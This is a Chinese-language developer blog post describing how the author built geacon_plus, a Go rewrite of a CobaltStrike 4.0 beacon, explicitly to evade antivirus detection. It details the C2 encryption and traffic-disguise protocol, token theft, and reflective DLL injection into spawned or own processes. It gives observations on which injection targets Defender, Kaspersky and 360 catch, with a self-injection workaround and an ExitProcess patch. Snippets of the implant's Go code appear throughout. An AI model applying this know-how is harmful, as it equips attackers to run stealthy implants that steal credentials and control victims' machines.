CobaltStrike真好用啊,但是缺点就是太好用了被各类安全厂商严防死守,研究了半天shellcode loader和白加黑之类的免杀,多多少少都有翻车的记录,有没有更好的办法呢?
要不就自己从头写一个beacon吧,没有出现过就不会被杀软抓住(确信),由于手上常用版本为几年前摸来的CobaltStrike4.0,因此该指南所开发的beacon仅适配4.0版本。或许可以通过修改metadata部分对较高版本进行基本适配
项目链接geacon_plus
为了降低本c语言垃圾的开发难度,使用的是新时代脚本语言golang,刚好有一天逛街看到了这个项目geacon,于是出现了这个玩具项目以及其开发指南。
使用与geacon项目相同,需自行填入config.go中的CS server的公钥以及回连地址
项目实现了stageless的http/https beacon,支持c2profile的部分选项,支持在主流操作系统(windows,linux,macOS)上的文件操作,命令执行,进程管理等功能,在windows平台上实现了Reflective DLL Injection,PowerShell模块内存加载,windows token相关,C#内存加载等功能。
开发过程中经历了翻了CS服务端的字节码,下方法断点强行调试硬看字节数组,参考了一堆开源项目,也查阅了不少windows api文档,以及一些基本概念。学到许多.jpg,但我真的是windows菜狗,很多地方都不懂,很多地方可能存在一定的问题,还望各位师傅多多交流,带带弟弟
通信协议
geacon项目较为解析了CobaltStrike的通信流程,覆盖了beacon对server命令请求,结果回传等基本功能,有一个封装好的基础协议会对进一步开发有很大的帮助,先简要看一下8
注意CS中所有的数字均采用大端序存储
beacon请求类型
beacon会以两种方式对server发起请求,get和post。get方式即发送心跳包,同时server的命令也是通过对get的response下发,而post则是用于对命令执行的结果进行回传,server对post的response好像没什么用,无需进行处理。
CobaltStrike加密流程
如果开启CobaltStrike的stage模式,可以通过请求stage url来获取到服务端的公钥,这个就是CS会话加密的基础。此处将公钥内嵌,定义在config/config.go
中的RsaPublicKey
,beacon在向server发送get请求时,会将使用该公钥对数据包进行加密,以此确保会话的安全性,然而,如果server回传私钥加密的数据,则可以被任何持有公钥的对手解密。因此,get请求中会携带AES key,server的应答以及beacon的post请求和应答均会使用该aeskey进行AESCBC加密,IV为硬编码的abcdefghijklmnop
GET request
beacon在发送GET请求的时候发送的是一份metadata,涵盖了目标计算机的操作系统,用户名,内网IP地址,beacon pid号,进程位数等信息。4.0下的metadata数据格式可以详见packet/packet.go
下的MakeMetaInfo
函数,有点长这里就懒得写了。。。第一次get请求会被视作beacon的上线请求,server从中解析metadata并显示出来,其余的get请求只被视为fetch命令的心跳包。
metadata在不同的CS版本中会存在出入,故若需要适配不同版本,请务必修改该部分
metadata中有几个需要注意的数据,首先是GlobalKey,这个是beacon后续与server沟通使用的密钥。用于加密的AESKey和验证hash的HmacKey分别为其sha256后的前后16位,其次是beacon id,每个beacon会话在产生时会随机生成一个beacon id,server将会使用该id对beacon进行跟踪,因此需要保证会话过程中beacon id不变,且不同的会话需要有不同的beacon id。
我在具体实现的时候写了一个有点奇怪的代码,即重复生成了两次metadata
// command without computer name
tempPacket := MakeMetaInfo()
publicKey, err := util.GetPublicKey()
config.ComputerNameLength = publicKey.Size() - len(tempPacket) - 11
packetUnencrypted := MakeMetaInfo()
packetEncrypted, err := util.RsaEncrypt(packetUnencrypted, publicKey)
这里是参考了原项目中的issue,用户名有时候会过长,超出了RSA加密时块的总长度限制,因此需要先生成一个没有username的metainfo,然后计算出一个合适的长度,判断username是否需要被截断。
最终将生成的metadata存入到全局变量encryptedMetaInfo
中,后续get请求均发送该数据
GET response
get的响应是下发的指令,其解析流程就在main
函数中,其大致结构如下
aes encode data{
4bytes timestap
4bytes data length
(4bytes cmd type
4bytes cmdlen
len bytes cmd)
...
}
16bytes hash
一次请求可能下发多个任务,即会出现多个cmd段(小括号内)内容。我们实际关注的也就cmd type和cmd内容,对于具体的cmd type后续讲解
POST request
POST请求用于回传结果,大体结构如下
4bytes packet len
aes encode data{
4bytes counter
4bytes result len
4bytes callback type
4bytes reply content
}
16bytes hash
需要注意的为counter,这个需要递增,否则server会拒绝这个包并认为这是重放攻击
callback type被用于指定应答的类型,CS服务端会根据type决定该数据的存储方式,因此部分应答数据可以被处理并且在CS图形化界面进行交互,比如偷来的hash,扫描出来的主机或者屏幕截图之类的,就会有和普通输出不同的callback type
POST response
没什么用,想处理也行,但是好像就是没什么用。。。所以跳过
c2profile
仅实现c2profile中http-get/post块的部分内容,实现对流量的伪装,这里使用的是jQuery风格的请求
主要的伪装就是发送数据的prepend,append,以及数据的加密。该操作是在数据生成完成后进行的,即request时需要对AES加密并填充hash后的数据进行编码和pending,而response时则是先将pending和编码去除再进行AES解密
可以查看packet/http.go
下的HttpGet和HttpPost函数确认逻辑,实际的处理很是简单,以解析结果为例
func resolveServerResponse(res *req.Resp) ([]byte, error) {
method := res.Request().Method
// response body string
data := res.Bytes()
switch method {
case "GET":
data = bytes.TrimSuffix(bytes.TrimPrefix(data, []byte(config.GetServerPrepend)), []byte(config.GetServerAppend))
var err error
data, err = util.DecryptField(config.GetServerEncryptType, data)
if err != nil {
return nil, err
}
case "POST":
data = bytes.TrimSuffix(bytes.TrimPrefix(data, []byte(config.PostServerPrepend)), []byte(config.PostServerAppend))
var err error
data, err = util.DecryptField(config.PostServerEncryptType, data)
if err != nil {
return nil, err
}
default:
panic("invalid http method type " + method)
}
return data, nil
}
DecryptField用于处理http-get
中的编码,常见的编码有base64/base64url/netbios/netbiosu/mask
,除mask外都是可以直接搜索得到的算法,mask需要额外查找,最后在CS server的c2profile/Program.class
中翻到了全部相关操作的实现
mask会随机生成4bytes数据放在原数据的最前面,然后将原数据与该key进行异或进行加密,实现位于util/util.go
,限于篇幅不贴代码
功能实现
因为golang支持交叉编译,并且又不用自己多写代码,所以可以将功能分为基础功能和windows专用功能,基础功能可以实现在各个平台上使用,不过geacon项目本身已经将基础功能实现的差不多了,所以稍微写一点
各种功能的命令下发实现可以在CS server的beacon/TaskBeacon.class
查看,可以较为清晰的看出各个命令的内容构造。这会对解析下发指令时提供的参数带来很大的帮助
大部分的参数均为四字节参数长度+参数的形式,简单的封装一个函数
func parseAnArg(buf *bytes.Buffer) ([]byte, error) {
argLen := packet.ReadInt(buf)
if argLen != 0 {
arg := make([]byte, argLen)
_, err := buf.Read(arg)
if err != nil {
return nil, err
}
return arg, nil
} else {
return nil, nil
}
}
这里传入的参数为一个Buffer
,是对[]byte
的一个封装,内部维护了一个读取的指针,就能很方便的顺序读取了
cmd type
在command/misc.go
下定义了收集的部分cmd type,该值用于指示接下来的参数是对应哪个命令的,部分定义可以在server的beacon/Tasks.class
下找到
call back type
post回送请求时指明应答类型的数据,同样定义在command/misc.go
,常用的就是output,pending和error,output有一个utf8版本,但实际测试证明,使用utf8反而会导致中文乱码,不使用还不会
pending是一个比较有意思的应答,用于响应一个等待数据的请求,使用该类应答时一般会在收到的命令中得到一个pending序列号
在server的beacon/BeaconC2.class
的process_beacon_callback_decrypted
中可以找到对不同callback的处理
文件系统操作
具体实现位于command/fileSystem.go
cd,pwd,mv,cp,rm之类的有手就行操作就不提了,讲两个麻烦一点的。
CS右键上线机器有一个file browse功能,对应cmd type 53,可以图形化查看目标机器的文件系统,这个需要回传约定好的数据格式,部分内容如下所示
modTimeStr = file.ModTime().Format("02/01/2006 15:04:05")
if file.IsDir() {
resultStr += fmt.Sprintf("\nD\t0\t%s\t%s", modTimeStr, file.Name())
} else {
resultStr += fmt.Sprintf("\nF\t%d\t%s\t%s", file.Size(), modTimeStr, file.Name())
}
除此之外,该请求会下发一个pending request,所以在最后响应的时候还需要在结果前将下发的pending request号放上去,应答时的callback type设置为pending
文件上传时可能会因为文件较大而分批次发送,但处理却很简单,只需要将文件的写入模式改为append即可
另一个比较麻烦的功能是文件下载,毕竟beacon不开tcp链接,只能每次http一点一点传
下载时需要先发送一个CALLBACK_FILE
标识文件下载开始,然后循环发送CALLBACK_FILE_WRITE
分段传输文件,传输完成后发送CALLBACK_FILE_CLOSE
结束传输。
这里的实现上还有一点点小瑕疵,文件传输应该以异步的形式实现,懒,以后再说8
进程管理
具体实现位于command/proc.go
该部分同样比较简单,为了能够使该代码能够跨平台运行,使用了第三方库github.com/shirou/gopsutil/v3/process
对进程信息进行收集
有意思的是,虽然callback中有一项CALLBACK_PROCESS_LIST
,但对于列出所有进程这个操作仍然发送了一个pending request,所以还是得用CALLBACK_PENDING
同样的,需要使用约定好的数据格式
result += fmt.Sprintf("\n%s\t%d\t%d\t%s\t%s\t%d", name, pPid, pid, archString, owner, sessionId)
网络查看
实现位于command/network.go
为确保多平台兼容性,使用第三方包获取网卡信息,同样需要以特定的格式传输才能支持CS server正确解析并以图形化形式交互
for _, a := range addrs {
switch v := a.(type) {
case *net.IPNet:
// ipv6 to4 is nil
if v.IP.To4() == nil {
continue
}
if !strings.HasPrefix(v.IP.String(), "169.254") && !v.IP.IsLoopback() {
mask := fmt.Sprintf("%d.%d.%d.%d", v.Mask[0], v.Mask[1], v.Mask[2], v.Mask[3])
result += fmt.Sprintf("%s\t%s\t%d\t%s\n", v.IP, mask, i.MTU, i.HardwareAddr)
}
}
}
}
暂时只记录ipv4,然后这种返回数据需要被记录用于图形化显示的,似乎都会携带一个pending request,所以返回时需使用CALLBACK_PENDING
命令执行
实现位于command/exec_*.go
这个功能在windows上的实现会复杂一些,先说linux和mac下的情况
CS有三个普通的命令执行相关命令,run,shell和execute,其中shell是用cmd.exe执行命令,exec是后台执行不需要回显,run是执行需要回显,而实际上,run和shell均由78号CMD_TYPE_SHELL
下发。该命令有两个参数,path和args,其区别在于,shell指令会在用户输入的命令前添加%COMSPEC% /C
,并将%COMSPEC%
作为path,剩下内容作为args,而run指令则直接置空path,将整个命令放入args中。execute参数同run,但不考虑回显
linux/mac环境
在linux和Mac下,对于shell,将%COMSPEC% /C
替换为bash -c
之类的即可,run和execute也都套一层bash -c
来执行
windows环境
对于windows则需要一些额外考虑,%COMSPEC%
是windows下的环境变量,一般指向cmd.exe,所以需要先把环境变量解析出来。比较关键的是这个参数的提供方案,run和exec将整个命令作为commandline传入,shell将cmd.exe作为app,剩下所有值作为commandline。这是因为windows下参数不是由空格分隔传入的,不像java的exec一样可以传入一个string数组。查看CreateProcess的文档,需将所有参数作为一个字符串传入commandline,应用程序自行分辨。若path处置空,则将参数处第一个值作为path,剩下的值作为参数。
故此处可以简单地将path和args不作处理的传入CreateProcess。run和shell的回显通过在创建进程时创建匿名管道获取,由于考虑到后期存在令牌窃取等功能,在创建进程时封装成了createProcessNative
,当存在被窃取的令牌且下发命令没有ignoreToken
时,使用CreateProcessWithTokenW
使用窃取的令牌创建进程,否则调用CreateProcess
创建进程
令牌相关
从此之后的功能仅适用于windows平台
windows相关功能推荐使用windows包,syscall包似乎已经"deprecated"了,部分windows api已经在该包中实现了,但同时也有一部分没有,直接调用windows包下的函数可以直接以err != nil
来判断成功与否,对于使用NewProc从dll中获取的函数调用总会返回错误,需要比较if err != nil && err != windows.SEVERITY_SUCCESS
,并且还需要将传入的参数用uintptr(unsafe.Pointer())
进行强制类型转换。并且传入的字符串为UTF16字符串,可以使用windows.StringToUTF16Ptr
进行转换
令牌相关的实现位于command/token.go
,实现了令牌窃取相关功能。
之前对windows的令牌所知甚少,在读了好多文章以及看了一堆MSDN文档后有了一点点基础认知
首先,windows的令牌分为两种,一个是primary token
,另一个是 impersonation token
,Stack Overflow上有一个很好的回答,前者是进程的token,而后者是线程的token,线程会默认继承进程的token,但是也可以模拟出一个impersonation token
以模拟出的权限进行交互。
该类别共有Runas,GetPrivs,StealToken,MakeToken四个主要方法,Rev2Self就是简单的将窃取的token释放,并将线程的token换回原来的primary token
Runas
Runas通过提供用户的口令以创建一个对应用户token的进程,使用CreateProcessWithLogonW实现,也可以尝试使用LogonUserA获得primary token后调用CreateProcessAsUserA或CreateProcessWithTokenW使用token创建进程。
不过CreateProcessAsUserA
相较于CreateProcessWithTokenW
,前者所需的权限跟多,为SE_INCREASE_QUOTA_NAME
和SE_ASSIGNPRIMARYTOKEN_NAME
,后者所需的是SE_IMPERSONATE_NAME
。
CreateProcessWithLogonW
无需任何特权,但只能登陆可交互的账号。处于健全考虑,前者失败时会尝试再次调用后者
Runas暂时使用CreateProcessWithLogonW
直接输入口令实现,但实际测试时go会报一个api error,暂时不知道原因,所以暂时没法用
GetPrivs
提升当前权限特权,出于安全考虑,部分token拥有的权限是被关闭的,需要主动打开方可使用,在cmd中输入whoami /priv
可以看到拥有的权限以及其启用状态,使用的windows api为LookupPrivilegeValue和AdjustTokenPrivileges,前者将特权名转化为LUID,后者接受LUID并尝试将其对应的特权使能。代码中有两个实现,一个是将每个权限构造一个Tokenprivileges
结构体,然后依次调用AdjustTokenPrivileges
,另一个是进行一些黑魔法内存操作,构造出一个放了全部特权的Tokenprivileges
结构体,一次性完成
由于CS下发的输入为需要提升的特权名,返回值为成功提升的特权,而当输入多个特权时,得到的错误只会是ERROR_NOT_ALL_ASSIGNED
,无法确切知道哪些权限获取成功,故使用每次仅赋值一个的方案
StealToken
流程很简单,OpenProcess获取进程句柄,然后OpenProcessToken获得其primary token的句柄,使用ImpersonateLoggedOnUser将当前线程的token设置为窃取的token,调用DuplicateTokenEx复制一个新的primary token出来用于后续进程的创建,至于 能不能成功,就要看你当前运行的账户权限了。
OpenProcess
至少以PROCESS_QUERY_LIMITED_INFORMATION
权限打开进程,OpenProcessToken
则需要TOKEN_QUERY
和TOKEN_DUPLICATE
以调用ImpersonateLoggedOnUser
,如果仅调用DuplicateTokenEx
则只需要duplicate权限,但为了使DuplicateTokenEx
获得的token能够用于创建新进程,需要至少TOKEN_ASSIGN_PRIMARY
, TOKEN_QUERY
, TOKEN_DUPLICATE
四个权限
需要注意的是,impersonate token是无法用于创建新进程的,所以DuplicateTokenEx
需要取得一个primary token给CreateProcessAsUser
等函数使用,此处偷来的token会被存到全局变量stolenToken
中,以便后续使用。
(不用的时候记得关handle)
MakeToken
与Runas类似,也是给予用户口令后创建一个token存下来,顺序即为LogonUserA
获取token,DuplicateTokenEx
复制token,但LogonUserA
处很怪,当参数dwLogonType
为LOGON32_LOGON_INTERACTIVE
时,怎么输入口令都错误,而LOGON32_LOGON_NEW_CREDENTIALS
时,则随便输入也是正确的,但得到的token并不能正常使用,对windows的理解有限,暂时不能指出哪里出现了问题
job处理
实现位于command/job.go
,Server端实现位于beacon/job.class
和beacon/job/
目录下
这个是CS用于扩展和自身自带的一些常用功能的关键功能,实际上就是反射dll注入,以不落地的方式实现扩展的功能,常见功能如port scan,hashdump,screenshot等均是job类型命令。使用该类命令会下发两个指令,1. 注入dll(cmd type 1/9/43/44/89/90),2. 从命名管道读取数据(cmd type 40)
dll注入
注入dll分为两种主要形式,Spawn
和Inject
,前者通过拉起一个预定义的傀儡进程(定义在config/c2profile.go
的SpawnToX86/64
)后远程写入dll创建远程线程执行,后者则是直接将dll注入到指定pid的进程中创建远程线程执行,均区分了x86和x64,spawn还区分了是否使用偷来的token创建新进程
显然,64位的dll不能注入到32位的程序里面去,所以此处需要对路径进行简单的判断(虽然该项目应该只能编译出64位的程序),64位windows通过syswow64支持32位程序的运行,但是64位和32位都依赖system32下的dll,所以程序运行会对目录会有一个重定向,64位的进程可以看见64位的system32目录和32位的syswow64目录,而32位的进程,则可以看见32位的system32目录和64位的sysnative目录(分别对应64位下的syswow和system32),由于我们图形化查看文件夹的文件资源管理器是64位的,所以我们只能看见system32和syswow64
此处的dll经过了CS server的patch,是所谓的reflective DLL,无需对其导出表等进行解析,可以像shellcode一样直接从起始位置开始执行,在patch的同时也添加了命令的参数和写入结果的命名管道,该命名管道名称会由紧随其后的job指令指明。创建远程线程的方法可以说是非常的喜闻乐见了,VirtualAllocEx->WriteProcessMemory->VirtualProtectEx->CreateRemoteThreadEx
内存写入可以用RtlCopyMemory代替WriteProcessMemory
,远程线程的创建也可以使用APC那一套,内存分配也可以改,看个人喜好和杀软绕过了
简单测试下来,defender似乎会对几个比较关键的进程进行严密监控,比如spawn一个rundll32再注入的话,会被defender抓,但如果是一个notepad就没有问题,卡巴斯基似乎会检查内存,notepad也会概率抓,360核晶的话感觉是调用进程注入类的函数就抓,不管你注入的是啥不管你调用的是哪个。。。
所以在config.go
下增加了一个自定义选项,injectSelf,使用后将spawn类job不创建远程进程注入而是直接注入自身进程。360核晶只抓远程线程创建,只要在自己的进程内创建即不会被拦截。然而这里有一个问题,即spawn类job的dll在退出时调用的是ExitProcess,若在自己进程内注入会导致beacon退出,需要进行额外patch。搜索的结果是直接将dll中的ExitProcess字符串替换为ExitThread缺位补零即可。。。虽然可以猜测可能windows的导出表是通过字符串去寻找函数的,但还是觉得多多少少有点离谱,不是很懂windows捏
数据读取
job指令会下发命名管道名和任务类型,同时需要维护一个job列表,支持使用jobs命令和jobkill取消,因此指令的读取应当采用异步的形式完成,go提供了非常简单易用的异步与同步,直接使用go func()即可创建一个异步线程(协程?),在线程中读取结果并回传即可。同时,采用channel的方式进行同步,为每个job提供一个stopCh,使用for select语句检查是否收到结束信号,需要结束线程时,向stopCh发出结束信号,即可断开管道终止本次任务
for {
select {
case <-j.stopCh:
return result + fmt.Sprintf("\njob %d canceled", j.jid), nil
default:
n, err := pipe.Read(buf)
// if you kill the process, pipe will be closed and there will receive an EOF
if err != nil {
if err != io.EOF && err != windows.ERROR_PIPE_NOT_CONNECTED {
return "", err
}
return result, nil
}
result += string(buf[:n])
}
}
后渗透模块
具体实现位于command/lateralMovement.go
暂时只实现了内存执行powershell module和内存执行C#程序,不过有这两个好像大部分功能也都支持了(大概)
内存执行powershell
内存执行powershell module的思路很简单,CS server先后下发37,79两个指令,最后用run指令来执行powershell
37为CMD_TYPE_IMPORT_PS
,简单的下发需要导入的ps脚本,拿一个全局变量存住,79是CMD_TYPE_WEB_DELIVERY
,参数为端口,要求beacon在本地的对应端口启动一个一次性的http服务,提供的内容即为之前下发的ps脚本。最后的run指令会使用powershell先去127.0.0.1:port下载对应的脚本后再执行命令。因为是提供一次性服务,所以webdelivery直接用socket手写一个即可
内存执行C
server端代码在beacon/JobSimple.class
至于内存执行C#,虽然有单独下发的命令号70/71/87/88,但其实实现与spawn差距不大,通过拉起一个进程注入一个创建内存执行C#环境的dll,然后将C#程序作为参数创建远程线程,可以套用spawn的实现完成,但此时没有命名管道,需要spawn的时候创建匿名管道拿输出,但注入远程dll容易被抓,所以同样实现了一版使用go第三方包直接执行的方案,也实现了injectSelf的方案,但是拿不到回显。。。
下发的参数有一些复杂
//misc.go parseExecAsm
buf := bytes.NewBuffer(b)
callBackType := packet.ReadShort(buf)
sleepTime := packet.ReadShort(buf)
offset := packet.ReadInt(buf)
description, err := parseAnArg(buf)
csharp, err := parseAnArg(buf)
dll := buf.Bytes()
其中csharp中包含的是csharp程序的二进制以及参数,如果原生实现需要再次解析
csharpBuf := bytes.NewBuffer(csharp)
csharpBin, _ := parseAnArg(csharpBuf)
csharpArgs := csharpBuf.Bytes()
args := windows.UTF16PtrToString((*uint16)(unsafe.Pointer(&csharpArgs[0])))
内存执行C#好像还挺牛逼的,杀软都不抓?
参考文献
这篇文章详细描述了token窃取的方法,学到许多.jpg
Understanding and Defending Against Access Token Theft: Finding Alternatives to winlogon.exe
geacon原项目
darkr4y/geacon
鸡哥对beacon命令号的解释
魔改CS beacon
后期找到的这个beacon逆向对我go重写实现也有很大的帮助
WBGlIl/ReBeacon_Src